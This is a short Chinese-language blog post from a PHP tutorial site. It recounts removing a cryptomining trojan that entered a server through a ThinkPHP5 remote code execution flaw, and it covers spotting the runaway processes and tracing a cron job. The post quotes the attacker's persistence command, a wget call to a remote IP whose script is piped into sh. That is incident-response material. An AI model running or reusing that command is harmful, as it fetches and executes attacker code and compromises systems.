下面由thinkphp教學專欄為大家介紹處理一個利用thinkphp5遠端程式碼執行漏洞挖礦的木馬的方法，希望對需要的朋友有所幫助！
記一次掛馬清除經驗：處理一個利用thinkphp5遠端程式碼執行漏洞挖礦的木馬
##昨天發現一台伺服器突然慢了top 顯示幾個行程100%以上的cpu使用執行指令為:/tmp/php -s /tmp/p2.conf
登入後複製
last 沒有登陸記錄先幹掉這幾個進程，但是幾分鐘之後又出現了#先看看這個木馬想幹什麼吧netstat 看到這個木馬開啟了一個連接埠和國外的某個ip建立了連接但是tcpdump了一小會兒沒有發現任何資料傳遞這他是想幹啥？ 繼續查看日誌吧在cron日誌中發現了www用戶有一個crontab定時操作基本上就是這個問題了wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1
登入後複製
#相關推薦：最新的10個thinkphp影片教學
以上是掛馬清除經驗：處理一個利用thinkphp5遠端程式碼執行漏洞挖礦的木馬的詳細內容。更多資訊請關注PHP中文網其他相關文章！
